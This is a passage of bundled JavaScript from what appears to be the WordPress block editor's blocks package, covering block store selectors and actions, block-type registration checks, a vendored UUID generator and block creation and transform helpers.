6029 var import_rich_text2 = __toESM(require_rich_text(), 1);
6030 var import_deprecated3 = __toESM(require_deprecated(), 1);
6031
6032 // packages/blocks/build-module/store/utils.mjs
6033 var getValueFromObjectPath = (object, path, defaultValue) => {
6034 const normalizedPath = Array.isArray(path) ? path : path.split(".");
6035 let value = object;
6036 normalizedPath.forEach((fieldName) => {
6037 value = value?.[fieldName];
6038 });
6039 return value ?? defaultValue;
6040 };
6041 function isObject2(candidate) {
6042 return typeof candidate === "object" && candidate.constructor === Object && candidate !== null;
6043 }
6044 function matchesAttributes(blockAttributes, variationAttributes) {
6045 if (isObject2(blockAttributes) && isObject2(variationAttributes)) {
6046 return Object.entries(variationAttributes).every(
6047 ([key, value]) => matchesAttributes(blockAttributes?.[key], value)
6048 );
6049 }
6050 return blockAttributes === variationAttributes;
6051 }
6052
6053 // packages/blocks/build-module/store/private-selectors.mjs
6054 var private_selectors_exports = {};
6055 __export(private_selectors_exports, {
6056 getAllBlockBindingsSources: () => getAllBlockBindingsSources,
6057 getBlockBindingsSource: () => getBlockBindingsSource2,
6058 getBlockBindingsSourceFieldsList: () => getBlockBindingsSourceFieldsList,
6059 getBootstrappedBlockType: () => getBootstrappedBlockType,
6060 getSupportedStyles: () => getSupportedStyles,
6061 getUnprocessedBlockTypes: () => getUnprocessedBlockTypes,
6062 hasContentRoleAttribute: () => hasContentRoleAttribute
6063 });
6064 var import_data3 = __toESM(require_data(), 1);
6065 var import_deprecated2 = __toESM(require_deprecated(), 1);
6066 var ROOT_BLOCK_SUPPORTS = [
6067 "background",
6068 "backgroundColor",
6069 "color",
6070 "linkColor",
6071 "captionColor",
6072 "buttonColor",
6073 "headingColor",
6074 "fontFamily",
6075 "fontSize",
6076 "fontStyle",
6077 "fontWeight",
6078 "lineHeight",
6079 "padding",
6080 "contentSize",
6081 "wideSize",
6082 "blockGap",
6083 "textAlign",
6084 "textDecoration",
6085 "textIndent",
6086 "textTransform",
6087 "letterSpacing"
6088 ];
6089 function filterElementBlockSupports(blockSupports, name, element) {
6090 return blockSupports.filter((support) => {
6091 if (support === "fontSize" && element === "heading") {
6092 return false;
6093 }
6094 if (support === "textDecoration" && !name && element !== "link") {
6095 return false;
6096 }
6097 if (support === "textTransform" && !name && !(["heading", "h1", "h2", "h3", "h4", "h5", "h6"].includes(
6098 element
6099 ) || element === "button" || element === "caption" || element === "text")) {
6100 return false;
6101 }
6102 if (support === "letterSpacing" && !name && !(["heading", "h1", "h2", "h3", "h4", "h5", "h6"].includes(
6103 element
6104 ) || element === "button" || element === "caption" || element === "text")) {
6105 return false;
6106 }
6107 if (support === "textIndent" && !name) {
6108 return false;
6109 }
6110 if (support === "textColumns" && !name) {
6111 return false;
6112 }
6113 return true;
6114 });
6115 }
6116 var getSupportedStyles = (0, import_data3.createSelector)(
6117 (state, name, element) => {
6118 if (!name) {
6119 return filterElementBlockSupports(
6120 ROOT_BLOCK_SUPPORTS,
6121 name,
6122 element
6123 );
6124 }
6125 const blockType = getBlockType2(state, name);
6126 if (!blockType) {
6127 return [];
6128 }
6129 const supportKeys = [];
6130 if (blockType?.supports?.spacing?.blockGap) {
6131 supportKeys.push("blockGap");
6132 }
6133 if (blockType?.supports?.shadow) {
6134 supportKeys.push("shadow");
6135 }
6136 Object.keys(__EXPERIMENTAL_STYLE_PROPERTY).forEach((styleName) => {
6137 if (!__EXPERIMENTAL_STYLE_PROPERTY[styleName].support) {
6138 return;
6139 }
6140 if (__EXPERIMENTAL_STYLE_PROPERTY[styleName].requiresOptOut) {
6141 if (__EXPERIMENTAL_STYLE_PROPERTY[styleName].support[0] in blockType.supports && getValueFromObjectPath(
6142 blockType.supports,
6143 __EXPERIMENTAL_STYLE_PROPERTY[styleName].support
6144 ) !== false) {
6145 supportKeys.push(styleName);
6146 return;
6147 }
6148 }
6149 if (getValueFromObjectPath(
6150 blockType.supports,
6151 __EXPERIMENTAL_STYLE_PROPERTY[styleName].support,
6152 false
6153 )) {
6154 supportKeys.push(styleName);
6155 }
6156 });
6157 return filterElementBlockSupports(supportKeys, name, element);
6158 },
6159 (state, name) => [state.blockTypes[name]]
6160 );
6161 function getBootstrappedBlockType(state, name) {
6162 return state.bootstrappedBlockTypes[name];
6163 }
6164 function getUnprocessedBlockTypes(state) {
6165 return state.unprocessedBlockTypes;
6166 }
6167 function getAllBlockBindingsSources(state) {
6168 return state.blockBindingsSources;
6169 }
6170 function getBlockBindingsSource2(state, sourceName) {
6171 return state.blockBindingsSources[sourceName];
6172 }
6173 var getBlockBindingsSourceFieldsList = (0, import_data3.createRegistrySelector)(
6174 (select3) => (0, import_data3.createSelector)(
6175 (state, source, blockContext) => {
6176 if (!source.getFieldsList) {
6177 return [];
6178 }
6179 const context = {};
6180 if (source?.usesContext?.length) {
6181 for (const key of source.usesContext) {
6182 context[key] = blockContext[key];
6183 }
6184 }
6185 return source.getFieldsList({ select: select3, context });
6186 },
6187 (state, source, blockContext) => [
6188 source.getFieldsList,
6189 source.usesContext,
6190 blockContext
6191 ]
6192 )
6193 );
6194 var hasContentRoleAttribute = (state, blockTypeName) => {
6195 const blockType = getBlockType2(state, blockTypeName);
6196 if (!blockType) {
6197 return false;
6198 }
6199 return Object.values(blockType.attributes).some(
6200 ({ role, __experimentalRole }) => {
6201 if (role === "content") {
6202 return true;
6203 }
6204 if (__experimentalRole === "content") {
6205 (0, import_deprecated2.default)("__experimentalRole attribute", {
6206 since: "6.7",
6207 version: "6.8",
6208 alternative: "role attribute",
6209 hint: `Check the block.json of the ${blockTypeName} block.`
6210 });
6211 return true;
6212 }
6213 return false;
6214 }
6215 );
6216 };
6217
6218 // packages/blocks/build-module/store/selectors.mjs
6219 var getNormalizedBlockType = (state, nameOrType) => "string" === typeof nameOrType ? getBlockType2(state, nameOrType) : nameOrType;
6220 var getBlockTypes2 = (0, import_data4.createSelector)(
6221 (state) => Object.values(state.blockTypes),
6222 (state) => [state.blockTypes]
6223 );
6224 function getBlockType2(state, name) {
6225 return state.blockTypes[name];
6226 }
6227 function getBlockStyles(state, name) {
6228 return state.blockStyles[name];
6229 }
6230 var getBlockVariations2 = (0, import_data4.createSelector)(
6231 (state, blockName, scope) => {
6232 const variations = state.blockVariations[blockName];
6233 if (!variations || !scope) {
6234 return variations;
6235 }
6236 return variations.filter((variation) => {
6237 return (variation.scope || ["block", "inserter"]).includes(
6238 scope
6239 );
6240 });
6241 },
6242 (state, blockName) => [state.blockVariations[blockName]]
6243 );
6244 function getActiveBlockVariation(state, blockName, attributes, scope) {
6245 const variations = getBlockVariations2(state, blockName, scope);
6246 if (!variations) {
6247 return variations;
6248 }
6249 const blockType = getBlockType2(state, blockName);
6250 const attributeKeys = Object.keys(blockType?.attributes || {});
6251 let match;
6252 let maxMatchedAttributes = 0;
6253 for (const variation of variations) {
6254 if (Array.isArray(variation.isActive)) {
6255 const definedAttributes = variation.isActive.filter(
6256 (attribute) => {
6257 const topLevelAttribute = attribute.split(".")[0];
6258 return attributeKeys.includes(topLevelAttribute);
6259 }
6260 );
6261 const definedAttributesLength = definedAttributes.length;
6262 if (definedAttributesLength === 0) {
6263 continue;
6264 }
6265 const isMatch = definedAttributes.every((attribute) => {
6266 const variationAttributeValue = getValueFromObjectPath(
6267 variation.attributes,
6268 attribute
6269 );
6270 if (variationAttributeValue === void 0) {
6271 return false;
6272 }
6273 let blockAttributeValue = getValueFromObjectPath(
6274 attributes,
6275 attribute
6276 );
6277 if (blockAttributeValue instanceof import_rich_text2.RichTextData) {
6278 blockAttributeValue = blockAttributeValue.toHTMLString();
6279 }
6280 return matchesAttributes(
6281 blockAttributeValue,
6282 variationAttributeValue
6283 );
6284 });
6285 if (isMatch && definedAttributesLength > maxMatchedAttributes) {
6286 match = variation;
6287 maxMatchedAttributes = definedAttributesLength;
6288 }
6289 } else if (variation.isActive?.(attributes, variation.attributes)) {
6290 return match || variation;
6291 }
6292 }
6293 if (!match && ["block", "transform"].includes(scope)) {
6294 match = variations.find(
6295 (variation) => variation?.isDefault && !Object.hasOwn(variation, "isActive")
6296 );
6297 }
6298 return match;
6299 }
6300 function getDefaultBlockVariation(state, blockName, scope) {
6301 const variations = getBlockVariations2(state, blockName, scope);
6302 const defaultVariation = [...variations].reverse().find(({ isDefault }) => !!isDefault);
6303 return defaultVariation || variations[0];
6304 }
6305 function getCategories(state) {
6306 return state.categories;
6307 }
6308 function getCollections(state) {
6309 return state.collections;
6310 }
6311 function getDefaultBlockName2(state) {
6312 return state.defaultBlockName;
6313 }
6314 function getFreeformFallbackBlockName(state) {
6315 return state.freeformFallbackBlockName;
6316 }
6317 function getUnregisteredFallbackBlockName(state) {
6318 return state.unregisteredFallbackBlockName;
6319 }
6320 function getGroupingBlockName2(state) {
6321 return state.groupingBlockName;
6322 }
6323 var getChildBlockNames2 = (0, import_data4.createSelector)(
6324 (state, blockName) => {
6325 return getBlockTypes2(state).filter((blockType) => {
6326 return blockType.parent?.includes(blockName);
6327 }).map(({ name }) => name);
6328 },
6329 (state) => [state.blockTypes]
6330 );
6331 var getBlockSupport2 = (state, nameOrType, feature, defaultSupports) => {
6332 const blockType = getNormalizedBlockType(state, nameOrType);
6333 if (!blockType?.supports) {
6334 return defaultSupports;
6335 }
6336 return getValueFromObjectPath(
6337 blockType.supports,
6338 feature,
6339 defaultSupports
6340 );
6341 };
6342 function hasBlockSupport2(state, nameOrType, feature, defaultSupports) {
6343 return !!getBlockSupport2(state, nameOrType, feature, defaultSupports);
6344 }
6345 function getNormalizedSearchTerm(term) {
6346 return (0, import_remove_accents.default)(term ?? "").toLowerCase().trim();
6347 }
6348 function isMatchingSearchTerm(state, nameOrType, searchTerm = "") {
6349 const blockType = getNormalizedBlockType(state, nameOrType);
6350 const normalizedSearchTerm = getNormalizedSearchTerm(searchTerm);
6351 const isSearchMatch = (candidate) => getNormalizedSearchTerm(candidate).includes(normalizedSearchTerm);
6352 return isSearchMatch(blockType.title) || blockType.keywords?.some(isSearchMatch) || isSearchMatch(blockType.category) || typeof blockType.description === "string" && isSearchMatch(blockType.description);
6353 }
6354 var hasChildBlocks2 = (state, blockName) => {
6355 return getChildBlockNames2(state, blockName).length > 0;
6356 };
6357 var hasChildBlocksWithInserterSupport2 = (state, blockName) => {
6358 return getChildBlockNames2(state, blockName).some((childBlockName) => {
6359 return hasBlockSupport2(state, childBlockName, "inserter", true);
6360 });
6361 };
6362 var __experimentalHasContentRoleAttribute = (...args) => {
6363 (0, import_deprecated3.default)("__experimentalHasContentRoleAttribute", {
6364 since: "6.7",
6365 version: "6.8",
6366 hint: "This is a private selector."
6367 });
6368 return hasContentRoleAttribute(...args);
6369 };
6370
6371 // packages/blocks/build-module/store/actions.mjs
6372 var actions_exports = {};
6373 __export(actions_exports, {
6374 __experimentalReapplyBlockFilters: () => __experimentalReapplyBlockFilters,
6375 addBlockCollection: () => addBlockCollection,
6376 addBlockStyles: () => addBlockStyles,
6377 addBlockTypes: () => addBlockTypes,
6378 addBlockVariations: () => addBlockVariations,
6379 reapplyBlockTypeFilters: () => reapplyBlockTypeFilters,
6380 removeBlockCollection: () => removeBlockCollection,
6381 removeBlockStyles: () => removeBlockStyles,
6382 removeBlockTypes: () => removeBlockTypes,
6383 removeBlockVariations: () => removeBlockVariations,
6384 setCategories: () => setCategories,
6385 setDefaultBlockName: () => setDefaultBlockName2,
6386 setFreeformFallbackBlockName: () => setFreeformFallbackBlockName,
6387 setGroupingBlockName: () => setGroupingBlockName2,
6388 setUnregisteredFallbackBlockName: () => setUnregisteredFallbackBlockName,
6389 updateCategory: () => updateCategory
6390 });
6391 var import_deprecated5 = __toESM(require_deprecated(), 1);
6392
6393 // node_modules/is-plain-object/dist/is-plain-object.mjs
6394 function isObject3(o3) {
6395 return Object.prototype.toString.call(o3) === "[object Object]";
6396 }
6397 function isPlainObject(o3) {
6398 var ctor, prot;
6399 if (isObject3(o3) === false) return false;
6400 ctor = o3.constructor;
6401 if (ctor === void 0) return true;
6402 prot = ctor.prototype;
6403 if (isObject3(prot) === false) return false;
6404 if (prot.hasOwnProperty("isPrototypeOf") === false) {
6405 return false;
6406 }
6407 return true;
6408 }
6409
6410 // packages/blocks/build-module/store/process-block-type.mjs
6411 var import_react_is = __toESM(require_react_is(), 1);
6412 var import_deprecated4 = __toESM(require_deprecated(), 1);
6413 var import_hooks = __toESM(require_hooks(), 1);
6414 var import_warning2 = __toESM(require_warning(), 1);
6415 var LEGACY_CATEGORY_MAPPING = {
6416 common: "text",
6417 formatting: "text",
6418 layout: "design"
6419 };
6420 function mergeBlockVariations(bootstrappedVariations = [], clientVariations = []) {
6421 const result = [...bootstrappedVariations];
6422 clientVariations.forEach((clientVariation) => {
6423 const index = result.findIndex(
6424 (bootstrappedVariation) => bootstrappedVariation.name === clientVariation.name
6425 );
6426 if (index !== -1) {
6427 result[index] = { ...result[index], ...clientVariation };
6428 } else {
6429 result.push(clientVariation);
6430 }
6431 });
6432 return result;
6433 }
6434 var processBlockType = (name, blockSettings) => ({ select: select3 }) => {
6435 const bootstrappedBlockType = select3.getBootstrappedBlockType(name);
6436 const blockType = {
6437 apiVersion: 1,
6438 name,
6439 icon: BLOCK_ICON_DEFAULT,
6440 keywords: [],
6441 attributes: {},
6442 providesContext: {},
6443 usesContext: [],
6444 selectors: {},
6445 supports: {},
6446 styles: [],
6447 blockHooks: {},
6448 save: () => null,
6449 ...bootstrappedBlockType,
6450 ...blockSettings,
6451 // blockType.variations can be defined as a filePath.
6452 variations: mergeBlockVariations(
6453 Array.isArray(bootstrappedBlockType?.variations) ? bootstrappedBlockType.variations : [],
6454 Array.isArray(blockSettings?.variations) ? blockSettings.variations : []
6455 )
6456 };
6457 if (!blockType.attributes || typeof blockType.attributes !== "object") {
6458 (0, import_warning2.default)(
6459 'The block "' + name + '" is registering attributes as `null` or `undefined`. Use an empty object (`attributes: {}`) or exclude the `attributes` key.'
6460 );
6461 blockType.attributes = {};
6462 }
6463 const settings = (0, import_hooks.applyFilters)(
6464 "blocks.registerBlockType",
6465 blockType,
6466 name,
6467 null
6468 );
6469 if (settings.apiVersion <= 2) {
6470 (0, import_deprecated4.default)("Block with API version 2 or lower", {
6471 since: "6.9",
6472 hint: `The block "${name}" is registered with API version ${settings.apiVersion}. This means that the post editor may work as a non-iframe editor. Since all editors are planned to work as iframes in the future, set the \`apiVersion\` field to 3 and test the block inside the iframe editor.`,
6473 link: "https://developer.wordpress.org/block-editor/reference-guides/block-api/block-api-versions/block-migration-for-iframe-editor-compatibility/"
6474 });
6475 }
6476 if (settings.description && typeof settings.description !== "string") {
6477 (0, import_deprecated4.default)("Declaring non-string block descriptions", {
6478 since: "6.2"
6479 });
6480 }
6481 if (settings.deprecated) {
6482 settings.deprecated = settings.deprecated.map(
6483 (deprecation) => Object.fromEntries(
6484 Object.entries(
6485 // Only keep valid deprecation keys.
6486 (0, import_hooks.applyFilters)(
6487 "blocks.registerBlockType",
6488 // Merge deprecation keys with pre-filter settings
6489 // so that filters that depend on specific keys being
6490 // present don't fail.
6491 {
6492 // Omit deprecation keys here so that deprecations
6493 // can opt out of specific keys like "supports".
6494 ...omit(blockType, DEPRECATED_ENTRY_KEYS),
6495 ...deprecation
6496 },
6497 blockType.name,
6498 deprecation
6499 )
6500 ).filter(
6501 ([key]) => DEPRECATED_ENTRY_KEYS.includes(key)
6502 )
6503 )
6504 );
6505 }
6506 if (!isPlainObject(settings)) {
6507 (0, import_warning2.default)("Block settings must be a valid object.");
6508 return;
6509 }
6510 if (typeof settings.save !== "function") {
6511 (0, import_warning2.default)('The "save" property must be a valid function.');
6512 return;
6513 }
6514 if ("edit" in settings && !(0, import_react_is.isValidElementType)(settings.edit)) {
6515 (0, import_warning2.default)('The "edit" property must be a valid component.');
6516 return;
6517 }
6518 if (LEGACY_CATEGORY_MAPPING.hasOwnProperty(settings.category)) {
6519 settings.category = LEGACY_CATEGORY_MAPPING[settings.category];
6520 }
6521 if ("category" in settings && !select3.getCategories().some(({ slug }) => slug === settings.category)) {
6522 (0, import_warning2.default)(
6523 'The block "' + name + '" is registered with an invalid category "' + settings.category + '".'
6524 );
6525 delete settings.category;
6526 }
6527 if (!("title" in settings) || settings.title === "") {
6528 (0, import_warning2.default)('The block "' + name + '" must have a title.');
6529 return;
6530 }
6531 if (typeof settings.title !== "string") {
6532 (0, import_warning2.default)("Block titles must be strings.");
6533 return;
6534 }
6535 settings.icon = normalizeIconObject(settings.icon);
6536 if (!isValidIcon(settings.icon.src)) {
6537 (0, import_warning2.default)(
6538 "The icon passed is invalid. The icon should be a string, an element, a function, or an object following the specifications documented in https://developer.wordpress.org/block-editor/developers/block-api/block-registration/#icon-optional"
6539 );
6540 return;
6541 }
6542 if (typeof settings?.parent === "string" || settings?.parent instanceof String) {
6543 settings.parent = [settings.parent];
6544 (0, import_warning2.default)(
6545 "Parent must be undefined or an array of strings (block types), but it is a string."
6546 );
6547 }
6548 if (!Array.isArray(settings?.parent) && settings?.parent !== void 0) {
6549 (0, import_warning2.default)(
6550 "Parent must be undefined or an array of block types, but it is ",
6551 settings.parent
6552 );
6553 return;
6554 }
6555 if (1 === settings?.parent?.length && name === settings.parent[0]) {
6556 (0, import_warning2.default)(
6557 'Block "' + name + '" cannot be a parent of itself. Please remove the block name from the parent list.'
6558 );
6559 return;
6560 }
6561 return settings;
6562 };
6563
6564 // packages/blocks/build-module/store/actions.mjs
6565 function addBlockTypes(blockTypes2) {
6566 return {
6567 type: "ADD_BLOCK_TYPES",
6568 blockTypes: Array.isArray(blockTypes2) ? blockTypes2 : [blockTypes2]
6569 };
6570 }
6571 function reapplyBlockTypeFilters() {
6572 return ({ dispatch: dispatch3, select: select3 }) => {
6573 const processedBlockTypes = [];
6574 for (const [name, settings] of Object.entries(
6575 select3.getUnprocessedBlockTypes()
6576 )) {
6577 const result = dispatch3(processBlockType(name, settings));
6578 if (result) {
6579 processedBlockTypes.push(result);
6580 }
6581 }
6582 if (!processedBlockTypes.length) {
6583 return;
6584 }
6585 dispatch3.addBlockTypes(processedBlockTypes);
6586 };
6587 }
6588 function __experimentalReapplyBlockFilters() {
6589 (0, import_deprecated5.default)(
6590 'wp.data.dispatch( "core/blocks" ).__experimentalReapplyBlockFilters',
6591 {
6592 since: "6.4",
6593 alternative: "reapplyBlockFilters"
6594 }
6595 );
6596 return reapplyBlockTypeFilters();
6597 }
6598 function removeBlockTypes(names) {
6599 return {
6600 type: "REMOVE_BLOCK_TYPES",
6601 names: Array.isArray(names) ? names : [names]
6602 };
6603 }
6604 function addBlockStyles(blockNames, styles) {
6605 return {
6606 type: "ADD_BLOCK_STYLES",
6607 styles: Array.isArray(styles) ? styles : [styles],
6608 blockNames: Array.isArray(blockNames) ? blockNames : [blockNames]
6609 };
6610 }
6611 function removeBlockStyles(blockName, styleNames) {
6612 return {
6613 type: "REMOVE_BLOCK_STYLES",
6614 styleNames: Array.isArray(styleNames) ? styleNames : [styleNames],
6615 blockName
6616 };
6617 }
6618 function addBlockVariations(blockName, variations) {
6619 return {
6620 type: "ADD_BLOCK_VARIATIONS",
6621 variations: Array.isArray(variations) ? variations : [variations],
6622 blockName
6623 };
6624 }
6625 function removeBlockVariations(blockName, variationNames) {
6626 return {
6627 type: "REMOVE_BLOCK_VARIATIONS",
6628 variationNames: Array.isArray(variationNames) ? variationNames : [variationNames],
6629 blockName
6630 };
6631 }
6632 function setDefaultBlockName2(name) {
6633 return {
6634 type: "SET_DEFAULT_BLOCK_NAME",
6635 name
6636 };
6637 }
6638 function setFreeformFallbackBlockName(name) {
6639 return {
6640 type: "SET_FREEFORM_FALLBACK_BLOCK_NAME",
6641 name
6642 };
6643 }
6644 function setUnregisteredFallbackBlockName(name) {
6645 return {
6646 type: "SET_UNREGISTERED_FALLBACK_BLOCK_NAME",
6647 name
6648 };
6649 }
6650 function setGroupingBlockName2(name) {
6651 return {
6652 type: "SET_GROUPING_BLOCK_NAME",
6653 name
6654 };
6655 }
6656 function setCategories(categories2) {
6657 return {
6658 type: "SET_CATEGORIES",
6659 categories: categories2
6660 };
6661 }
6662 function updateCategory(slug, category) {
6663 return {
6664 type: "UPDATE_CATEGORY",
6665 slug,
6666 category
6667 };
6668 }
6669 function addBlockCollection(namespace, title, icon) {
6670 return {
6671 type: "ADD_BLOCK_COLLECTION",
6672 namespace,
6673 title,
6674 icon
6675 };
6676 }
6677 function removeBlockCollection(namespace) {
6678 return {
6679 type: "REMOVE_BLOCK_COLLECTION",
6680 namespace
6681 };
6682 }
6683
6684 // packages/blocks/build-module/store/private-actions.mjs
6685 var private_actions_exports = {};
6686 __export(private_actions_exports, {
6687 addBlockBindingsSource: () => addBlockBindingsSource,
6688 addBootstrappedBlockType: () => addBootstrappedBlockType,
6689 addUnprocessedBlockType: () => addUnprocessedBlockType,
6690 removeBlockBindingsSource: () => removeBlockBindingsSource
6691 });
6692 function addBootstrappedBlockType(name, blockType) {
6693 return {
6694 type: "ADD_BOOTSTRAPPED_BLOCK_TYPE",
6695 name,
6696 blockType
6697 };
6698 }
6699 function addUnprocessedBlockType(name, blockType) {
6700 return ({ dispatch: dispatch3 }) => {
6701 dispatch3({ type: "ADD_UNPROCESSED_BLOCK_TYPE", name, blockType });
6702 const processedBlockType = dispatch3(
6703 processBlockType(name, blockType)
6704 );
6705 if (!processedBlockType) {
6706 return;
6707 }
6708 dispatch3.addBlockTypes(processedBlockType);
6709 };
6710 }
6711 function addBlockBindingsSource(source) {
6712 return {
6713 type: "ADD_BLOCK_BINDINGS_SOURCE",
6714 name: source.name,
6715 label: source.label,
6716 usesContext: source.usesContext,
6717 getValues: source.getValues,
6718 setValues: source.setValues,
6719 canUserEditValue: source.canUserEditValue,
6720 getFieldsList: source.getFieldsList
6721 };
6722 }
6723 function removeBlockBindingsSource(name) {
6724 return {
6725 type: "REMOVE_BLOCK_BINDINGS_SOURCE",
6726 name
6727 };
6728 }
6729
6730 // packages/blocks/build-module/store/constants.mjs
6731 var STORE_NAME = "core/blocks";
6732
6733 // packages/blocks/build-module/store/index.mjs
6734 var store = (0, import_data5.createReduxStore)(STORE_NAME, {
6735 reducer: reducer_default,
6736 selectors: selectors_exports,
6737 actions: actions_exports
6738 });
6739 (0, import_data5.register)(store);
6740 unlock(store).registerPrivateSelectors(private_selectors_exports);
6741 unlock(store).registerPrivateActions(private_actions_exports);
6742
6743 // node_modules/uuid/dist/esm-browser/rng.js
6744 var getRandomValues;
6745 var rnds8 = new Uint8Array(16);
6746 function rng() {
6747 if (!getRandomValues) {
6748 getRandomValues = typeof crypto !== "undefined" && crypto.getRandomValues && crypto.getRandomValues.bind(crypto);
6749 if (!getRandomValues) {
6750 throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");
6751 }
6752 }
6753 return getRandomValues(rnds8);
6754 }
6755
6756 // node_modules/uuid/dist/esm-browser/stringify.js
6757 var byteToHex = [];
6758 for (let i2 = 0; i2 < 256; ++i2) {
6759 byteToHex.push((i2 + 256).toString(16).slice(1));
6760 }
6761 function unsafeStringify(arr, offset = 0) {
6762 return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + "-" + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + "-" + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + "-" + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + "-" + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]];
6763 }
6764
6765 // node_modules/uuid/dist/esm-browser/native.js
6766 var randomUUID = typeof crypto !== "undefined" && crypto.randomUUID && crypto.randomUUID.bind(crypto);
6767 var native_default = {
6768 randomUUID
6769 };
6770
6771 // node_modules/uuid/dist/esm-browser/v4.js
6772 function v4(options, buf, offset) {
6773 if (native_default.randomUUID && !buf && !options) {
6774 return native_default.randomUUID();
6775 }
6776 options = options || {};
6777 const rnds = options.random || (options.rng || rng)();
6778 rnds[6] = rnds[6] & 15 | 64;
6779 rnds[8] = rnds[8] & 63 | 128;
6780 if (buf) {
6781 offset = offset || 0;
6782 for (let i2 = 0; i2 < 16; ++i2) {
6783 buf[offset + i2] = rnds[i2];
6784 }
6785 return buf;
6786 }
6787 return unsafeStringify(rnds);
6788 }
6789 var v4_default = v4;
6790
6791 // packages/blocks/build-module/api/factory.mjs
6792 var import_hooks2 = __toESM(require_hooks(), 1);
6793 function createBlock(name, attributes = {}, innerBlocks = []) {
6794 if (!isBlockRegistered(name)) {
6795 return createBlock("core/missing", {
6796 originalName: name,
6797 originalContent: "",
6798 originalUndelimitedContent: ""
6799 });
6800 }
6801 const sanitizedAttributes = __experimentalSanitizeBlockAttributes(
6802 name,
6803 attributes
6804 );
6805 const clientId = v4_default();
6806 return {
6807 clientId,
6808 name,
6809 isValid: true,
6810 attributes: sanitizedAttributes,
6811 innerBlocks
6812 };
6813 }
6814 function createBlocksFromInnerBlocksTemplate(innerBlocksOrTemplate = []) {
6815 return innerBlocksOrTemplate.map((innerBlock) => {
6816 const innerBlockTemplate = Array.isArray(innerBlock) ? innerBlock : [
6817 innerBlock.name,
6818 innerBlock.attributes,
6819 innerBlock.innerBlocks
6820 ];
6821 const [name, attributes, innerBlocks = []] = innerBlockTemplate;
6822 return createBlock(
6823 name,
6824 attributes,
6825 createBlocksFromInnerBlocksTemplate(innerBlocks)
6826 );
6827 });
6828 }
6829 function __experimentalCloneSanitizedBlock(block, mergeAttributes = {}, newInnerBlocks) {
6830 const { name } = block;
6831 if (!isBlockRegistered(name)) {
6832 return createBlock("core/missing", {
6833 originalName: name,
6834 originalContent: "",
6835 originalUndelimitedContent: ""
6836 });
6837 }
6838 const clientId = v4_default();
6839 const sanitizedAttributes = __experimentalSanitizeBlockAttributes(name, {
6840 ...block.attributes,
6841 ...mergeAttributes
6842 });
6843 return {
6844 ...block,
6845 clientId,
6846 attributes: sanitizedAttributes,
6847 innerBlocks: newInnerBlocks || block.innerBlocks.map(
6848 (innerBlock) => __experimentalCloneSanitizedBlock(innerBlock)
6849 )
6850 };
6851 }
6852 function cloneBlock(block, mergeAttributes = {}, newInnerBlocks) {
6853 const clientId = v4_default();
6854 return {
6855 ...block,
6856 clientId,
6857 attributes: {
6858 ...block.attributes,
6859 ...mergeAttributes
6860 },
6861 innerBlocks: newInnerBlocks || block.innerBlocks.map((innerBlock) => cloneBlock(innerBlock))
6862 };
6863 }
6864 var isPossibleTransformForSource = (transform, direction, blocks) => {
6865 if (!blocks.length) {
6866 return false;
6867 }
6868 const isMultiBlock = blocks.length > 1;
6869 const firstBlockName = blocks[0].name;
6870 const isValidForMultiBlocks = isWildcardBlockTransform(transform) || !isMultiBlock || transform.isMultiBlock;
6871 if (!isValidForMultiBlocks) {
6872 return false;
6873 }
6874 if (!isWildcardBlockTransform(transform) && !blocks.every((block) => block.name === firstBlockName)) {
6875 return false;
6876 }
6877 const isBlockType = transform.type === "block";
6878 if (!isBlockType) {
6879 return false;
6880 }
6881 const sourceBlock = blocks[0];
6882 const hasMatchingName = direction !== "from" || transform.blocks.indexOf(sourceBlock.name) !== -1 || isWildcardBlockTransform(transform);
6883 if (!hasMatchingName) {
6884 return false;
6885 }
6886 if (!isMultiBlock && direction === "from" && isContainerGroupBlock(sourceBlock.name) && isContainerGroupBlock(transform.blockName)) {
6887 return false;
6888 }
6889 if (!maybeCheckTransformIsMatch(transform, blocks)) {
6890 return false;
6891 }
6892 return true;
6893 };
6894 var getBlockTypesForPossibleFromTransforms = (blocks) => {
6895 if (!blocks.length) {
6896 return [];
6897 }
6898 const allBlockTypes = getBlockTypes();
6899 const blockTypesWithPossibleFromTransforms = allBlockTypes.filter(
6900 (blockType) => {
6901 const fromTransforms = getBlockTransforms("from", blockType.name);
6902 return !!findTransform(fromTransforms, (transform) => {
6903 return isPossibleTransformForSource(
6904 transform,
6905 "from",
6906 blocks
6907 );
6908 });
6909 }
6910 );
6911 return blockTypesWithPossibleFromTransforms;
6912 };
6913 var getBlockTypesForPossibleToTransforms = (blocks) => {
6914 if (!blocks.length) {
6915 return [];
6916 }
6917 const sourceBlock = blocks[0];
6918 const blockType = getBlockType(sourceBlock.name);
6919 const transformsTo = blockType ? getBlockTransforms("to", blockType.name) : [];
6920 const possibleTransforms = transformsTo.filter((transform) => {
6921 return transform && isPossibleTransformForSource(transform, "to", blocks);
6922 });
6923 const blockNames = possibleTransforms.map((transformation) => transformation.blocks).flat();
6924 return blockNames.map(getBlockType);
6925 };
6926 var isWildcardBlockTransform = (t3) => t3 && t3.type === "block" && Array.isArray(t3.blocks) && t3.blocks.includes("*");
6927 var isContainerGroupBlock = (name) => name === getGroupingBlockName();
6928 function getPossibleBlockTransformations(blocks) {
6929 if (!blocks.length) {
6930 return [];
6931 }
6932 const blockTypesForFromTransforms = getBlockTypesForPossibleFromTransforms(blocks);
6933 const blockTypesForToTransforms = getBlockTypesForPossibleToTransforms(blocks);
6934 return [
6935 .../* @__PURE__ */ new Set([
6936 ...blockTypesForFromTransforms,
6937 ...blockTypesForToTransforms
6938 ])
6939 ];
6940 }
6941 function findTransform(transforms, predicate) {
6942 const hooks = (0, import_hooks2.createHooks)();
6943 for (let i2 = 0; i2 < transforms.length; i2++) {
6944 const candidate = transforms[i2];
6945 if (predicate(candidate)) {
6946 hooks.addFilter(
6947 "transform",
6948 "transform/" + i2.toString(),
6949 (result) => result ? result : candidate,
6950 candidate.priority
6951 );
6952 }
6953 }
6954 return hooks.applyFilters("transform", null);
6955 }
6956 function getBlockTransforms(direction, blockTypeOrName) {
6957 if (blockTypeOrName === void 0) {
